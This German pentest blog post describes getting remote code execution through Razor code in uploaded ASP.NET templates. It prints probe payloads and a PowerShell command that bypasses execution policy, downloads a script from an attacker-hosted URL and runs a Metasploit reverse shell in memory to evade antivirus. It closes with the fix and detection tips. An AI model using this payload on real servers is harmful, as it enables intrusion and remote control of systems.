Razor Code - Don't Cut Yourself

Razor Code

Don't Cut Yourself

Veit Hailperin
von Veit Hailperin
am 05. Januar 2017
Lesezeit: 8 Minuten

Einige meiner Lieblingsblogartikel sind sehr kurz und haben nur einen Tipp oder Bypass drin. Dieser Artikel orientiert sich daran und beschreibt, wie ich in einem Penetration Test Remote Code Execution (RCE) auf einem aktuell gepatchten Windows Server mittels Razor Code erlangt habe.

Klassische File Upload Verwundbarkeit

Es ist ein Klassiker unter Schwachstellen, RCE durch File Upload: Man lädt einen serverseitig ausführbaren Code, wie z.B. ein PHP-Skript, hoch und ruft die Seite in der Hoffnung auf, dass der Server diesen ausführt. Dies wird jedoch in der Regel heutzutage nur noch selten gefunden und der Content-Disposition Header wird auch immer häufiger korrekt auf Content-Disposition: attachment; filename="foo.php" gesetzt. Damit wird der Code, wäre es client-seitig ausführbarer Code, auch client-seitig nicht ausgeführt.

Bei einem der Web Application Penetration Tests fand ich allerdings einen Fall, der war etwas spezieller. Die Applikation hatte eine Möglichkeit, Dateien hochzuladen, welche anschliessend als Template verwendet werden. Die Designidee dahinter war, dass Firmen, die die Seite nutzen, gleichzeitig ihr CD-CI beibehalten können. Natürlich unterstützt die Seite HTML, dementsprechend auch JavaScript. Das damit gelieferte XSS war also weder eine Überraschung noch ein grosses Risiko, da jeder Kunde seine eigene Subdomain erhält.

In einem nächsten Schritt wollte ich testen, ob serverseitig Code ausgeführt wurde. Die Wahl fiel sofort auf .NET, da kein Hardening betrieben worden war und sämtliche Response Header .NET suggerierten – X-Powered-By: ASP.NET, x-aspnetmvc-version und x-aspnet-version. Ein simpler PoC musste her:

<%
   PoCLabel.Text = “Alert!”;
%>
<!DOCTYPE html>
<html>
<head runat=“server”>
   <title>PoC</title>
</head>
<body>
   <form id=“form1” runat=“server”>
   <div>
      <asp:Label runat=“server” id=“PoCLabel”></asp:Label>
   </div>
   </form>
</body>
</html>

Doch dieser schlug fehl. Ein simples < wurde nicht gefiltert – da HTML ja möglich sein musste – aber <@ schon.

Razor Code for the Win

Razor Code ist eine Möglichkeit, um sowohl C#, als auch VB Code in einem anderen Syntax zu schreiben. Wichtig für uns ist dabei, dass die Einleitung <@ entfällt, die von der Applikation gefiltert wird. Ein Beispiel und gleichzeitig Proof-of-Concept ist:

@DateTime.Now

Und es funktionierte. Die Seite, welche im Template gerendert wurde, zeigte die aktuelle Zeit des Servers an. Ich hatte definitiv Remote Code Execution. Andere gute PoCs sind:

@Decimal.Add(7, 7)
@AppContext.BaseDirectory
@Environment.MachineName

Die Reverse Shell

Um komfortabler Code ausführen zu können, wollte ich eine Reverse Shell haben. Die regulären Meterpreter Payloads unterstützen zwar ASP.NET, aber nicht in Razor Code. Eine weitere Möglichkeit wäre mittels PowerShell eine Reverse Shell zu starten. Eine kurze Suche nach exec for asp.net ergab System.Diagnostics.Process.Start. Mit dieser Funktion lassen sich Befehle in ASP.NET ausführen.

Weitere Gedanken zur Reverse Shell:

  1. PowerShell-Ausführung lässt sich limitieren. Da es nicht klar war, ob PowerShell-Ausführung limitiert ist, wollte ich auf Nummer sicher gehen und lieber nicht in das Problem hineinlaufen. Glücklicherweise lässt sich diese Limitierung leicht aufheben. Die Option der ExecutionPolicy heisst netterweise auch ByPass und die offizielle Beschreibung lautet: “Nothing is blocked and there are no warnings or prompts.”
  2. Den kompletten Reverse-Shell Payload Code in das Template zu laden, hätte auffällig bleibende Spuren hinterlassen. Da das Template gespeichert wird und der Metasploit Payload bekannt ist, bestand auch die Gefahr, dass ein AV-System dies als Malware erkennen würde. Um aber sicher zu gehen, dass dies nicht geschieht, und da die Applikation zuliess, dass Templates auch von extern eingebunden werden können (Benutzerfreundlichkeit), gab es eine bessere Möglichkeit: Nachladen von einem von uns gehosteten PowerShell Script, welches anschliessend direkt in den RAM geladen und ausgeführt wird, was die Erkennung noch unwahrscheinlicher macht. Die Technik wird auch von Matt Graeber, dem Autor des Tools PowerSploit, verwendet. Das Script ist eine von uns modifizierte Variante von Invoke-Shellcode aus dem PowerSploit Framework, mit dem dazugehörigen ShellCode für eine Metasploit Reverse Shell. Der schlussendliche Befehl lautet dann:
@System.Diagnostics.Process.Start(“powershell.exe”,”-ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString(‘http://url/scip.ps1’)”)

The Aftermath

Die Applikation wurde noch am gleichen Tag des Reports mit einem funktionierenden Quickfix versehen. Die Entwickler haben diesen später durch einen besseren Fix ersetzt, da der Quickfix CSS brach.

Für diejenigen, die versuchen Angriffe zu detektieren: Dies hätte man bemerken können, indem man die Prozesse überwacht, die neu vom Serverprozess gespawnt werden. Alternativ könnte man auch PowerShell überwachen.

Eine weitere Möglichkeit wäre PowerShells Antimalware Scan Interface (AMSI). Antivirensoftware, die AMSI unterstützen, können auch PowerShell Skripte im RAM überprüfen. Momentan wird AMSI aber kaum im aktiven Einsatz beobachtet.

Über den Autor

Veit Hailperin

Veit Hailperin arbeitet seit 2010 im Bereich der Informationssicherheit. Seine Forschung konzentriert sich auf Network und Application Layer Security sowie auf den Schutz der Privatsphäre. Die Resultate präsentiert er an Konferenzen.

Links

Sie wollen die Resistenz Ihres Unternehmens auf Malware prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
Crypto-Malware

Crypto-Malware

Ahmet Hrnjadovic

TIBER-EU Framework

TIBER-EU Framework

Dominik Altermatt

Vertrauen und KI

Vertrauen und KI

Marisa Tschopp

Datenverschlüsselung in der Cloud

Datenverschlüsselung in der Cloud

Tomaso Vasella

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv